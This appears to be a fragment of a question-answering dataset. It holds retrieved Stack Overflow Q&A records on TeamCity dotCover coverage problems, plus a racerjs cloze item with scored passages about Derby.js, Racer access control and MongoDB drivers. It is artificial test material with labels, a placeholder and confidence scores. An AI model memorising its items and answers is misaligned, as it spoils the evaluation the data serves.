code : 0 .. . 11 : 00 : 09 Use DotCover 2.6.x commands set .. . 11 : 00 : 09 Merge dotCover reports 9s .. . 11 : 00 : 19 Started dotCover : C : TeamCity buildAgent tools dotCover dotCover.exe merge C : TeamCity buildAgent temp buildTmp dotcover4719506578346509917.xml .. . 11 : 00 : 19 Output : JetBrains dotCover Console Runner v2.6.1000.602 . Copyright c 2009-2014 JetBrains s.r.o . All rights reserved . JetBrains dotCover Snapshot merging started 2014-06-30 11 : 00 : 18 JetBrains dotCover Source snapshots number : 1 JetBrains dotCover Snapshot merging finished 2014-06-30 11 : 00 : 19 .. . 11 : 00 : 19 dotCover exited with code : 0 .. . Answer : The problem that I had was that although my tests executed and I got results from them there was no test-coverage showing in the results . The cause for this was that in the coverage Assemblies Filters selection I was using : .. . .. . However for coverage results to be calculated you have to remove the .DLL extension from the filters so that it becomes : .. . .. . Then results came magically flowing through . Comment : That s contra-intuitive in my view . The star includes both EXE and DLL . And what if I want to exclude I ve our the other.. . Unexpected wouldn t you agree Comment : I agree but it s there in the small print on the code-coverage configuration screen shame I didn t read it first You might have to change the name of your .exe assembly e.g . MySolution.MyProject.Console.exe then exclude it : : -MySolution . .Console", "Question : According to the log I m missing the info to get the test-coverage . Possible reasons are : .. . .. . 1 . Include exclude patterns are incorrect .. . 2 . Assemblies are compiled without debugging information .. . 3 . PDB files are not available .. . 4 . Visual Studio code-coverage is enabled for MSTest .. . 5 . TESTRUNCONFIG is used for MSTest and Visual Studio code-coverage is not disabled .. . .. . Being a novice on TeamCity I need some guidance on what to do . 1 . I ve included all DLLs by + : DLL . No exclusion at the moment but I ve tried to omit the test itself by - : test . 2 . I compile using DEBUG profile and the result is put on the server in bin debug and obj debug directories . There s no release at all . 3 . I have PDB files in .source bin debug on the server . 4 . Since I run the nUnit and dotCover on the TeamCity server there s no VS involved . 5 . Since I run the nUnit and dotCover on the TeamCity server there s no VS involved . What do I miss What can I do more Edit .. . .. . The system is : VS13 TFS10 TC8.2 the latest available with the included nUnit and dotCoverage .. . .. . The part of log that is the testing step no errors in the compile step reported exit code 0 . After this there s only the removal of dotCover snapshot files . Note however that there s no DATA file to be found and that the XML file contains no data . What can I do here 10 : 59 : 39 Step 2 2 : Test NUnit 29s .. . 10 : 59 : 39 Starting : C : TeamCity buildAgent plugins dotnetPlugin .. . bin JetBrains.BuildServer.NUnitLauncher.exe TeamCityImplicit .. . 10 : 59 : 39 in directory : C : TeamCity buildAgent work 263aa919ed5f7bb8 .. . 10 : 59 : 46 JetBrains dotCover Console Runner v2.6.1000.602 . Copyright c 2009-2014 JetBrains s.r.o . All rights reserved . 10 : 59 : 55 JetBrains dotCover Coverage session started 2014-06-30 10 : 59 : 55 .. . 11 : 00 : 02 Start TeamCity NUnit Test Runner .. . 11 : 00 : 02 Running NUnit-2.6.3 tests under .NET Framework v4.0 x64 .. . 11 : 00 : 03 AutonomousTesting.dll .. . 11 : 00 : 03 CoverageTest.TestExample.TestEquality .. . 11 : 00 : 03 CoverageTest.TestExample.TestException .. . 11 : 00 : 03 CoverageTest.TestExample.TestInequality .. . 11 : 00 : 03 CoverageTest.TestExample.TestOmission .. . 11 : 00 : 03 Test ignored : CoverageTest.TestExample.TestOmission .. . 11 : 00 : 05 AutonomousTesting.dll .. . 11 : 00 : 05 CoverageTest.TestExample.TestEquality .. . 11 : 00 : 05 CoverageTest.TestExample.TestException .. . 11 : 00 : 05 CoverageTest.TestExample.TestInequality .. . 11 : 00 : 05 CoverageTest.TestExample.TestOmission .. . 11 : 00 : 05 Test ignored : CoverageTest.TestExample.TestOmission .. . 11 : 00 : 07 JetBrains dotCover Coverage session finished 2014-06-30 11 : 00 : 07 .. . 11 : 00 : 07 JetBrains dotCover Coverage results post-processing started 2014-06-30 11 : 00 : 07 .. . 11 : 00 : 08 JetBrains dotCover Coverage results post-processing finished 2014-06-30 11 : 00 : 08 .. . 11 : 00 : 09 teamcity importData type dotNetCoverage tool dotcover file C : TeamCity buildAgent temp buildTmp coverage dotcover16594618384737853441.data .. . 11 : 00 : 09 Importing data from C : TeamCity buildAgent temp buildTmp coverage dotcover16594618384737853441.data 8.38 KB with dotNetCoverage processor 11 : 00 : 09 Process exited with code 0 .. . 11 : 00 : 09 Waiting for 1 service processes to complete .. . 11 : 00 : 09 Processing 1 coverage report s .. . 11 : 00 : 09 Generating coverage report by dotcover for files : C : TeamCity buildAgent temp buildTmp coverage dotcover16594618384737853441.data .. . 11 : 00 : 09 Get dotCover version .. . 11 : 00 : 09 Started dotCover : C : TeamCity buildAgent tools dotCover dotCover.exe version C : TeamCity buildAgent temp buildTmp dotCover4472367238745438467Version .. . 11 : 00 : 09 Output : JetBrains dotCover Console Runner v2.6.1000.602 . Copyright c 2009-2014 JetBrains s.r.o . All rights reserved . 11 : 00 : 09 dotCover exited with code : 0 .. . 11 : 00 : 09 Use DotCover 2.6.x commands set .. . 11 : 00 : 09 Merge dotCover reports 9s .. . 11 : 00 : 19 Started dotCover : C : TeamCity buildAgent tools dotCover dotCover.exe merge C : TeamCity buildAgent temp buildTmp dotcover4719506578346509917.xml .. . 11 : 00 : 19 Output : JetBrains dotCover Console Runner v2.6.1000.602 . Copyright c 2009-2014 JetBrains s.r.o . All rights reserved . JetBrains dotCover Snapshot merging started 2014-06-30 11 : 00 : 18 JetBrains dotCover Source snapshots number : 1 JetBrains dotCover Snapshot merging finished 2014-06-30 11 : 00 : 19 .. . 11 : 00 : 19 dotCover exited with code : 0 .. . Answer : I followed this nice little tutorial http : blogin.codeinside.eu 2011 02 01 howto-teamcity-codecoverage-with-dotcover to get it working for me . Here s something it mentions you could try if you re not getting any results : .. . .. . Little hint : If you do everything right but no report will be generated take a look into the BuildLog . At the first try I got this error : .. . .. . Solution : .. . .. . Failed to read source file C : TeamCity buildAgent temp buildTmp dotcover8583844779204955574.xml . Could not find a part of the path C : Windows system32 config systemprofile AppData Local Temp 4q-kqg6z.tmp . .. . Create the searched Temp folder in C : Windows system32 config systemprofile AppData Local .. . .. . Normally it doesn t exist and because of this the error appeared . After this it works . If that doesn t work then you ll probably need to provide more information in order for us to help you deduce what s wrong . e.g what are your paths what versions of everything are you installed what settings have you got enabled for your build configurations etc . .. . .. . Edit : As you mentioned you already had this working I wonder if you still have the build logs of the previously working builds Before your colleague messed it up . Is there any chance you can do a diff between the build logs when it was working and when it s not It might give you a clue of what he changed . .. . .. . I managed to make a brand new configuration to test the minimum work required to generate coverage . Here s exactly the steps I took . Maybe there s something here that you will find you ve done differently . From the main TeamCity screen at localhost : 8080 click Create a Project .. . .. . Name : MyProjectName .. . Click Create .. . .. . Click Add A Build Configuration .. . .. . Name : Debug .. . .. . Click VCS Settings .. . .. . Click Create And Attach VCS Root .. . .. . Type of VCS : Git .. . VCS Root Name : MyProjectName Git Repo .. . Fetch URL : https : myusername@bitbucket.org myusername myprojectname.git .. . Auth method : Password enter bitbucket username and password .. . Checking Interval : custom 600 seconds .. . Click Test Connection it should go green . Click Save .. . .. . Click Add Build Step .. . .. . Runner Type : MSBuild .. . Step name : Build MyProjectName .. . Build file path : MyProjectName.sln .. . MSBuild Version : Microsoft .NET Framework 4.5 .. . MSBuild ToolsVersion : 4.0 .. . Run platform : x64 .. . Click Save .. . .. . Click Add Build Step .. . .. . Runner Type : NUnit .. . Step name : Run MyProjectName Tests .. . .NET Runtime Platform : x64 .. . .NET Runtime Version : 4.0 .. . Run tests from : MyProjectName.Tests bin Debug MyProjectName.Tests.dll .. . .NET Coverage Tool : Jetbrains dotCover .. . Click Save .. . .. . Click Projects .. . .. . Click Run.. . .. . .. . After all that the build should have generated the coverage . Good luck Comment : Thanks . I believe I followed the same blog when I set it up . At first I got the coverage but then a teammate decided to work some magic and the coverage was gone . He s unable to apprize the steps taken so I need to resolve the issue in another way . As for the clarification you ve requested please see the edit in the original post . If I m missing anything just comment on it and I ll provide all information I can . Comment : There s not much activity here and I dislike when bounties go poof . You ll get it unless someone gives a great answer within the next three days which is highly doubtful . Can I just ask you to enhance your reply with some some links to possible guides documentations to dotCover under TeamCity please Comment : Hopefully my update will help you sort the problem and convince you to give me the bounty hehe :", "Question : I ve got an existing C 4 project which I ve checked the test-coverage for by using TestDriven.Net and the Visual Studio coverage feature i.e . Test With - Coverage from the context menu . The project contains some code I don t want covered and I ve solved that by adding the ExcludeFromCodeCoverage for those types and methods . We ve just upgraded TeamCity to 6.0.3 and I ve added dotCover coverage to the NUnit build step . I ve managed to remove coverage for external assemblies such as NHibernate in the Filters section by explicitly state the assemblies for which I want coverage but I m struggling with how to exclude types and methods from covered assemblies . enter image description here http : i.stack.imgur.com Q4iNJ.png .. . Answer : The answer specified by Anthony describes exactly how it works . Here are some more links related to the TeamCity and dotCover integration : .. . .. . http : blogs.jetbrains.com dotnet 2010 12 coverage-with-dotcover-teamcity-mstest-nunit-or-mspec .. . http : confluence.jetbrains.net display TCD65 JetBrains+dotCover", "Question : I try to run dotCover with my NUnit tests in the TeamCity 8 as a build step . But no metter what I try I always get the same error in the log file : .. . .. . Step 4 4 : Coverage NUnit 1s .. . Step 4 4 Starting : C : TeamCity buildAgent plugins dotnetPlugin bin JetBrains.BuildServer.NUnitLauncher.exe TeamCityImplicit .. . Step 4 4 in directory : C : TeamCity buildAgent work 6aee0f0d2626793d .. . Step 4 4 teamcity importData type dotNetCoverage tool dotcover file C : TeamCity buildAgent temp buildTmp coverage dotcover3226256377023598081.data .. . Step 4 4 Importing data from C : TeamCity buildAgent temp buildTmp coverage dotcover3226256377023598081.data with dotNetCoverage processor .. . Step 4 4 Rejected coverage report file : C : TeamCity buildAgent temp buildTmp coverage dotcover3226256377023598081.data size : 0 . File is empty or does not exist .. . Step 4 4 Process exited with code -2146232576 .. . Step 4 4 Step Coverage NUnit failed .. . .. . .. . I have tried to use both the included in TeamCity dotCover and the separately installed one but both are failing with the same error . My configuration : .. . .. . NUnit tests + coverage configuration http : i.stack.imgur.com WK5i2.png .. . .. . If I choose no coverage tool the tests work fine on its own . But with dotCover selected I always get the same error . Any help here would be much appreciated . Comment : Just to clarify my TeamCity version is TeamCity Enterprise 8.0 EAP build 27147 and yes I have seen this page : youtrack.jetbrains.com issue TW-25856 http : youtrack.jetbrains.com issue TW-25856 but it says the status is fixed . Comment : Could you please send us dotCover s log file to daria.dovzhikova@jetbrains.com or youtrack.jetbrains.com issues DCVR http : youtrack.jetbrains.com issues DCVR In order to do it please complete the following steps : - add configuration parameter teamcity.agent.dotCover.log with value system.teamcity.build.tempDir dotCoverLogs - run build - go to build artifacts choose show hidden artifacts and find .teamcity .NETCoverage dotCoverLogs.zip Comment : Are you sure your tests are getting executed Comment : I normally leave the path to dotCover Home blank Comment : Im having a slightly related issue where when ever I try using the Path to DotCover home propety I can t run the build AT ALL .. . Answer : It s probably because you are running this on build agent without .NET 3.5 but with 4.0 . It s easy to check because you will get exception just after running dotCover.exe on this agent . Install .NET 3.5 using Server Manager in case of newest Windows . The next thing is that there is another bug with dotCover in TeamCity 8 . You need to use trial dotCover installation until they fix it and put the path to installed dotCover into the build step configuration . It solved the problem in my case . Comment : Which version of TC are we talking about", "Question : I try to run dotCover with my NUnit tests in the TeamCity 8 as a build step . But no metter what I try I always get the same error in the log file : .. . .. . Step 4 4 : Coverage NUnit 1s .. . Step 4 4 Starting : C : TeamCity buildAgent plugins dotnetPlugin bin JetBrains.BuildServer.NUnitLauncher.exe TeamCityImplicit .. . Step 4 4 in directory : C : TeamCity buildAgent work 6aee0f0d2626793d .. . Step 4 4 teamcity importData type dotNetCoverage tool dotcover file C : TeamCity buildAgent temp buildTmp coverage dotcover3226256377023598081.data .. . Step 4 4 Importing data from C : TeamCity buildAgent temp buildTmp coverage dotcover3226256377023598081.data with dotNetCoverage processor .. . Step 4 4 Rejected coverage report file : C : TeamCity buildAgent temp buildTmp coverage dotcover3226256377023598081.data size : 0 . File is empty or does not exist .. . Step 4 4 Process exited with code -2146232576 .. . Step 4 4 Step Coverage NUnit failed .. . .. . .. . I have tried to use both the included in TeamCity dotCover and the separately installed one but both are failing with the same error . My configuration : .. . .. . NUnit tests + coverage configuration http : i.stack.imgur.com WK5i2.png .. . .. . If I choose no coverage tool the tests work fine on its own . But with dotCover selected I always get the same error . Any help here would be much appreciated . Comment : Just to clarify my TeamCity version is TeamCity Enterprise 8.0 EAP build 27147 and yes I have seen this page : youtrack.jetbrains.com issue TW-25856 http : youtrack.jetbrains.com issue TW-25856 but it says the status is fixed . Comment : Could you please send us dotCover s log file to daria.dovzhikova@jetbrains.com or youtrack.jetbrains.com issues DCVR http : youtrack.jetbrains.com issues DCVR In order to do it please complete the following steps : - add configuration parameter teamcity.agent.dotCover.log with value system.teamcity.build.tempDir dotCoverLogs - run build - go to build artifacts choose show hidden artifacts and find .teamcity .NETCoverage dotCoverLogs.zip Comment : Are you sure your tests are getting executed Comment : I normally leave the path to dotCover Home blank Comment : Im having a slightly related issue where when ever I try using the Path to DotCover home propety I can t run the build AT ALL .. . Answer : Interestingly for me at least it worked for me once I disabled code-coverage i.e . un-selected an item in the .NET Coverage tool drop-down and ran the build . When I re-enabled code-coverage it worked with no other changes to anything in TeamCity or on the build-server . Weird I m currently running TeamCity version 8.0.4 build 27616 . Comment : Which item did you disable The tests Comment : @KonradViltersten I just disabled the code-coverage i.e . I picked No .NET Coverage in the .NET Coverage Tool dropdown .", "Question : I try to run dotCover with my NUnit tests in the TeamCity 8 as a build step . But no metter what I try I always get the same error in the log file : .. . .. . Step 4 4 : Coverage NUnit 1s .. . Step 4 4 Starting : C : TeamCity buildAgent plugins dotnetPlugin bin JetBrains.BuildServer.NUnitLauncher.exe TeamCityImplicit .. . Step 4 4 in directory : C : TeamCity buildAgent work 6aee0f0d2626793d .. . Step 4 4 teamcity importData type dotNetCoverage tool dotcover file C : TeamCity buildAgent temp buildTmp coverage dotcover3226256377023598081.data .. . Step 4 4 Importing data from C : TeamCity buildAgent temp buildTmp coverage dotcover3226256377023598081.data with dotNetCoverage processor .. . Step 4 4 Rejected coverage report file : C : TeamCity buildAgent temp buildTmp coverage dotcover3226256377023598081.data size : 0 . File is empty or does not exist .. . Step 4 4 Process exited with code -2146232576 .. . Step 4 4 Step Coverage NUnit failed .. . .. . .. . I have tried to use both the included in TeamCity dotCover and the separately installed one but both are failing with the same error . My configuration : .. . .. . NUnit tests + coverage configuration http : i.stack.imgur.com WK5i2.png .. . .. . If I choose no coverage tool the tests work fine on its own . But with dotCover selected I always get the same error . Any help here would be much appreciated . Comment : Just to clarify my TeamCity version is TeamCity Enterprise 8.0 EAP build 27147 and yes I have seen this page : youtrack.jetbrains.com issue TW-25856 http : youtrack.jetbrains.com issue TW-25856 but it says the status is fixed . Comment : Could you please send us dotCover s log file to daria.dovzhikova@jetbrains.com or youtrack.jetbrains.com issues DCVR http : youtrack.jetbrains.com issues DCVR In order to do it please complete the following steps : - add configuration parameter teamcity.agent.dotCover.log with value system.teamcity.build.tempDir dotCoverLogs - run build - go to build artifacts choose show hidden artifacts and find .teamcity .NETCoverage dotCoverLogs.zip Comment : Are you sure your tests are getting executed Comment : I normally leave the path to dotCover Home blank Comment : Im having a slightly related issue where when ever I try using the Path to DotCover home propety I can t run the build AT ALL .. . Answer : This is similar to my issue where the NUnit fails to run when dotCover is enabled . I resolved this by setting .NET Runtime : Platform : as x86 in the configuration dropdown and I think the error is due to team city fails to figure out which is the correct platform .", "Question : According to the log I m missing the info to get the test-coverage . Possible reasons are : .. . .. . 1 . Include exclude patterns are incorrect .. . 2 . Assemblies are compiled without debugging information .. . 3 . PDB files are not available .. . 4 . Visual Studio code-coverage is enabled for MSTest .. . 5 . TESTRUNCONFIG is used for MSTest and Visual Studio code-coverage is not disabled .. . .. . Being a novice on TeamCity I need some guidance on what to do . 1 . I ve included all DLLs by + : DLL . No exclusion at the moment but I ve tried to omit the test itself by - : test . 2 . I compile using DEBUG profile and the result is put on the server in bin debug and obj debug directories . There s no release at all . 3 . I have PDB files in .source bin debug on the server . 4 . Since I run the nUnit and dotCover on the TeamCity server there s no VS involved . 5 . Since I run the nUnit and dotCover on the TeamCity server there s no VS involved . What do I miss What can I do more Edit .. . .. . The system is : VS13 TFS10 TC8.2 the latest available with the included nUnit and dotCoverage .. . .. . The part of log that is the testing step no errors in the compile step reported exit code 0 . After this there s only the removal of dotCover snapshot files . Note however that there s no DATA file to be found and that the XML file contains no data . What can I do here 10 : 59 : 39 Step 2 2 : Test NUnit 29s .. . 10 : 59 : 39 Starting : C : TeamCity buildAgent plugins dotnetPlugin .. . bin JetBrains.BuildServer.NUnitLauncher.exe TeamCityImplicit .. . 10 : 59 : 39 in directory : C : TeamCity buildAgent work 263aa919ed5f7bb8 .. . 10 : 59 : 46 JetBrains dotCover Console Runner v2.6.1000.602 . Copyright c 2009-2014 JetBrains s.r.o . All rights reserved . 10 : 59 : 55 JetBrains dotCover Coverage session started 2014-06-30 10 : 59 : 55 .. . 11 : 00 : 02 Start TeamCity NUnit Test Runner .. . 11 : 00 : 02 Running NUnit-2.6.3 tests under .NET Framework v4.0 x64 .. . 11 : 00 : 03 AutonomousTesting.dll .. . 11 : 00 : 03 CoverageTest.TestExample.TestEquality .. . 11 : 00 : 03 CoverageTest.TestExample.TestException .. . 11 : 00 : 03 CoverageTest.TestExample.TestInequality .. . 11 : 00 : 03 CoverageTest.TestExample.TestOmission .. . 11 : 00 : 03 Test ignored : CoverageTest.TestExample.TestOmission .. . 11 : 00 : 05 AutonomousTesting.dll .. . 11 : 00 : 05 CoverageTest.TestExample.TestEquality .. . 11 : 00 : 05 CoverageTest.TestExample.TestException .. . 11 : 00 : 05 CoverageTest.TestExample.TestInequality .. . 11 : 00 : 05 CoverageTest.TestExample.TestOmission .. . 11 : 00 : 05 Test ignored : CoverageTest.TestExample.TestOmission .. . 11 : 00 : 07 JetBrains dotCover Coverage session finished 2014-06-30 11 : 00 : 07 .. . 11 : 00 : 07 JetBrains dotCover Coverage results post-processing started 2014-06-30 11 : 00 : 07 .. . 11 : 00 : 08 JetBrains dotCover Coverage results post-processing finished 2014-06-30 11 : 00 : 08 .. . 11 : 00 : 09 teamcity importData type dotNetCoverage tool dotcover file C : TeamCity buildAgent temp buildTmp coverage dotcover16594618384737853441.data .. . 11 : 00 : 09 Importing data from C : TeamCity buildAgent temp buildTmp coverage dotcover16594618384737853441.data 8.38 KB with dotNetCoverage processor 11 : 00 : 09 Process exited with code 0 .. . 11 : 00 : 09 Waiting for 1 service processes to complete .. . 11 : 00 : 09 Processing 1 coverage report s .. . 11 : 00 : 09 Generating coverage report by dotcover for files : C : TeamCity buildAgent temp buildTmp coverage dotcover16594618384737853441.data .. . 11 : 00 : 09 Get dotCover version .. . 11 : 00 : 09 Started dotCover : C : TeamCity buildAgent tools dotCover dotCover.exe version C : TeamCity buildAgent temp buildTmp dotCover4472367238745438467Version .. . 11 : 00 : 09 Output : JetBrains dotCover Console Runner v2.6.1000.602 . Copyright c 2009-2014 JetBrains s.r.o . All rights reserved . 11 : 00 : 09 dotCover exited with code : 0 .. . 11 : 00 : 09 Use DotCover 2.6.x commands set .. . 11 : 00 : 09 Merge dotCover reports 9s .. . 11 : 00 : 19 Started dotCover : C : TeamCity buildAgent tools dotCover dotCover.exe merge C : TeamCity buildAgent temp buildTmp dotcover4719506578346509917.xml .. . 11 : 00 : 19 Output : JetBrains dotCover Console Runner v2.6.1000.602 . Copyright c 2009-2014 JetBrains s.r.o . All rights reserved . JetBrains dotCover Snapshot merging started 2014-06-30 11 : 00 : 18 JetBrains dotCover Source snapshots number : 1 JetBrains dotCover Snapshot merging finished 2014-06-30 11 : 00 : 19 .. . 11 : 00 : 19 dotCover exited with code : 0 .. . Answer : Konrad I unfortunately do not know enough anything about .net or team city to tell you what is wrong with your setup- so this is going to be more of a guideline of what I would look at if I had to fix it . Coverage works by instrumenting compiled binaries so that they spit out information as they run . When it is set up your unit tests will while running be outputting information into a results file of some sort . After the tests finish you can analyze that results file . The tutorial in demoncodemonkey s answer makes it seem like TeamCity is actually doing the test-coverage . I am pretty sure that this isn t the case . TeamCity is most likely interfacing with your tools and hiding the nitty gritty from you . But if its just not working having the details hidden can be less than helpful My first step would be to figure out how to run the tool from the command-line without TeamCity . Once you can do that you can figure out what TeamCity config you need to use to get the same result . This link is the dotCover CLI documentation . http : www.jetbrains.com dotcover webhelp dotCover Setting up Coverage Analysis JetBrains TeamCity.html .. . .. . We use Jenkins and a lot of linux type tools- but trying to approximate the build test by hand has always been the quickest way to figure out why it doesn t work on the server . Comment : +1 for straightforward disclaimer and solid info . In fact I ve pre-followed your suggestion having the coverage being done from command-line . I ve also made TeamCity do what I want except for the one single solution it worked there before then stopped . I was hoping that someone can point out some stupid in my setup but most likely it s somewhere in the depths of solution files that someone s tempered with without my knowledge nor permission . I believe we ll have to redo and do it right . :", "Question : I have a Visual Studio solution consisting of several projects . I set a build-process for it in TeamCity and I have added a an NUnit runner build step with these settings : .. . .. . nunit runner 2.6.3 .. . run tests from : teamcity.build.workingDir Sources bin .Web.UnitTests.dll .. . .net coverage tool : JetBrains dotCover .. . Filters : --empty-- .. . .. . In the Code Coverage tab of the build under Coverage Breakdown I can only see : .. . .. . MyProject.Domain .. . MyProject.Web.UnitTests .. . .. . MyProject.Web the object of the tests and a few other assemblies in the solution are not displayed there and are ignored by the dotCover code-coverage calculations . Why How can I tell it which assemblies to use I ve unsuccessfully tried various + : - : combinations in the Filters field . But with Filters empty I am expecting MyProject.Web to be included since MyProject.Domain is - why isn t it included .. . Answer : I m afraid without log files and your snapshot it will be difficult to provide the right answer . Please submit a request and attach the files : http : dotnettools-support.jetbrains.com anonymous requests new .. . .. . If logs are not enabled yet add the corresponding parameter to your build configuration to activate them : https : confluence.jetbrains.com display TCD9 Reporting+Issues ReportingIssues-dotCoverIssues" ] }
[ "yes-answer-long", "yes-answer-short" ]
visual-studio
UNK_RELATION
racerjs@synchronization@38
racerjs -- racer is a realtime model @placeholder engine for node.js .
{ "confidence": [ 32.35670471191406, 31.95311164855957, 31.224964141845703, 28.142498016357422, 27.295976638793945, 24.982845306396484, 24.97412109375, 23.569353103637695, 21.981538772583008, 16.506153106689453, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 13.99123764038086, 12.57774543762207, 12.57774543762207, 12.57774543762207, 12.57774543762207, 12.57774543762207, 12.57774543762207, 12.57774543762207, 12.57774543762207 ], "content": [ "There is plugin for Racer - racer-access https : github.com codeparty racer-access .. . .. . Use it like this :", "At now racer-access https : github.com codeparty racer-access is deprecated .", "This driver is for Racer 0.3 .", "I want to add an item to a collection using RacerJs DerbyJs but it just doesn t work .", "Here s a related discussion on the Derby mailing list racer-access deprecated .", "I m new in Derby.js environment and as far as I see Racer is exposing all the data on client-side .", "The newest working link would be this : https : github.com derbyjs racer blob 0.3 lib descriptor query README.md .. . .. . Which refers to the 0.3 branch for Racer current master version is 0.6 .", "You will have to convert the collection to use it with Racer livedb because of the metadata on the document itself .", "I noticed that the latest commit https : github.com codeparty racer-db-mongo commit 26d1761a6a0367fc74529e6ccee4514df6cfbf6b to Racer s Mongo DB driver has to do with casting Racer s ids to Mongo ObjectIDs any idea how to get that to work", "An alternative if you dont want to convert is to use traditional AJAX REST to get the data from your mongo database and then just put it in your local model .", "I must be really overlooking something.. . .. . .. . What I tried .. . .. . And that does set a news-item .", "However when I do this another time it will just overwrite the existing item and not add a new one .", "How to do that", "model.push news text : someText also fails with Object is not an array .", "Basically I just want the most basic version of a post an update and show on wall app without any rooms nor making use of Arrays .", "Just one collection and that s it .", "Stacktrace of the .push variant :", "What s the stack-trace", "Thanks for checking I updated the question with the stacktrace", "To create an item in the collection you can call model.set with explicitly specified path containing document ID for example : .. . .. . model.id method will generate unique ID on each call to it .", "I tried that before but I thought it didn t work because apparently code model.subscribe news function err items .. . code does not work so my template never got updated .", "Now I built it listening to a query that returns all the news items and it works .", "Thanks", "If you are trying to add a document to a collection you can also call model.add .. . .. . Which will add a new document to the news collection and generate the id for you .", "More documentation can be found under http : derbyjs.com getters and setters", "Current version is 0.5 .", "A lot of things have been changed : Share.js added LiveDB Redis etc .", "You should use this driver now : https : github.com share livedb-mongo", "Thanks for pointing that out there s no reference to objectIds whatsoever in this one seems it is not possible thanks anyways .", "So basically anybody could manipulate any data stored on server", "Am I correct", "Is there any way to manage access-control", "You can use share-access https : www.npmjs.com package share-access .", "It seems share-access is now deprecated in favor of sharedb-access https : github.com dmapper sharedb-access .", "https : groups.google.com forum topic derbyjs LaiCtRrsB8k", "How can I count the results of a query without loading the whole resultset into memory", "The easy way of counting documents returned by a query would be : .. . .. . But this would load the whole resultset into memory and count an array in javascript .", "When you have lots of data you don t want to do this .", "I think .", "Counting the underlying mongodb collection is rather complicated since LiveDB I think it is LiveDB creates many mongodb documents for one derbyjs document .", "The internets point to this google groups thread https : groups.google.com forum topic derbyjs 1pcDUKSiuDI from 2013 but the solution described there putting count : true into the query options doesn t seem to work in DerbyJS 0.6 and current mongodb . .", "query.extraRef is undefined .", "It is done like described in the google groups thread .", "But query.extraRef is now query.refExtra .", "Example :", "you still want count : true so that you don t fetch all the documents as well", "@enjalot of course .", "Thanks :", "Same situation like this question but with current DerbyJS version 0.6 : .. . Using imported docs from MongoDB in DerbyJS http : stackoverflow.com questions 10379276 using-imported-docs-from-mongodb-in-derbyjs .. . .. . I have a MongoDB collection with data that was not saved through my Derby app .", "I want to query against that and pull it into my Derby app .", "Is this still possible", "The accepted answer there links to a dead link .", ".. . .. . What I tried .. . .. . Searching the internets .. . The na ve way : .. . .. . var query model.query projects-legacy public : true .. . model.fetch query function .. . query.ref page.projects .. . .. . .. . .. . doesn t work", "A utility was written for this purpose : https : github.com share igor .. . .. . You may need to modify it to only run against a single collection instead of the whole database but it essentially goes through every document in the database and modifies it with the necessary livedb metadata and creates a default operation for it as well .", "In livedb every collection has a corresponding operations collection for example profiles will have a profiles ops collection which holds all the operations for the profiles .", "This will not be real-time or synced to the server but it will allow you to drive your templates from data that you dont want to convert for some reason ." ] }
{ "confidence": [ 32.582366943359375, 31.75995635986328, 30.30901336669922, 29.700828552246094, 29.248443603515625, 29.158052444458008, 27.295555114746094, 13.295727729797363 ], "content": [ "Question : I m new in Derby.js environment and as far as I see Racer is exposing all the data on client-side . So basically anybody could manipulate any data stored on server Am I correct Is there any way to manage access-control .. . Answer : There is plugin for Racer - racer-access https : github.com codeparty racer-access .. . .. . Use it like this :", "Question : I m new in Derby.js environment and as far as I see Racer is exposing all the data on client-side . So basically anybody could manipulate any data stored on server Am I correct Is there any way to manage access-control .. . Answer : At now racer-access https : github.com codeparty racer-access is deprecated . You can use share-access https : www.npmjs.com package share-access .", "Question : I m new in Derby.js environment and as far as I see Racer is exposing all the data on client-side . So basically anybody could manipulate any data stored on server Am I correct Is there any way to manage access-control .. . Answer : It seems share-access is now deprecated in favor of sharedb-access https : github.com dmapper sharedb-access . Here s a related discussion on the Derby mailing list racer-access deprecated . https : groups.google.com forum topic derbyjs LaiCtRrsB8k", "Question : I noticed that the latest commit https : github.com codeparty racer-db-mongo commit 26d1761a6a0367fc74529e6ccee4514df6cfbf6b to Racer s Mongo DB driver has to do with casting Racer s ids to Mongo ObjectIDs any idea how to get that to work .. . Answer : This driver is for Racer 0.3 . Current version is 0.5 . A lot of things have been changed : Share.js added LiveDB Redis etc . You should use this driver now : https : github.com share livedb-mongo Comment : Thanks for pointing that out there s no reference to objectIds whatsoever in this one seems it is not possible thanks anyways .", "Question : Same situation like this question but with current DerbyJS version 0.6 : .. . Using imported docs from MongoDB in DerbyJS http : stackoverflow.com questions 10379276 using-imported-docs-from-mongodb-in-derbyjs .. . .. . I have a MongoDB collection with data that was not saved through my Derby app . I want to query against that and pull it into my Derby app . Is this still possible The accepted answer there links to a dead link . The newest working link would be this : https : github.com derbyjs racer blob 0.3 lib descriptor query README.md .. . .. . Which refers to the 0.3 branch for Racer current master version is 0.6 . .. . .. . What I tried .. . .. . Searching the internets .. . The na ve way : .. . .. . var query model.query projects-legacy public : true .. . model.fetch query function .. . query.ref page.projects .. . .. . .. . .. . doesn t work .. . Answer : A utility was written for this purpose : https : github.com share igor .. . .. . You may need to modify it to only run against a single collection instead of the whole database but it essentially goes through every document in the database and modifies it with the necessary livedb metadata and creates a default operation for it as well . In livedb every collection has a corresponding operations collection for example profiles will have a profiles ops collection which holds all the operations for the profiles . You will have to convert the collection to use it with Racer livedb because of the metadata on the document itself . An alternative if you dont want to convert is to use traditional AJAX REST to get the data from your mongo database and then just put it in your local model . This will not be real-time or synced to the server but it will allow you to drive your templates from data that you dont want to convert for some reason .", "Question : I want to add an item to a collection using RacerJs DerbyJs but it just doesn t work . I must be really overlooking something.. . .. . .. . What I tried .. . .. . And that does set a news-item . However when I do this another time it will just overwrite the existing item and not add a new one . How to do that model.push news text : someText also fails with Object is not an array . Basically I just want the most basic version of a post an update and show on wall app without any rooms nor making use of Arrays . Just one collection and that s it . Stacktrace of the .push variant : Comment : What s the stack-trace Comment : Thanks for checking I updated the question with the stacktrace .. . Answer : If you are trying to add a document to a collection you can also call model.add .. . .. . Which will add a new document to the news collection and generate the id for you . More documentation can be found under http : derbyjs.com getters and 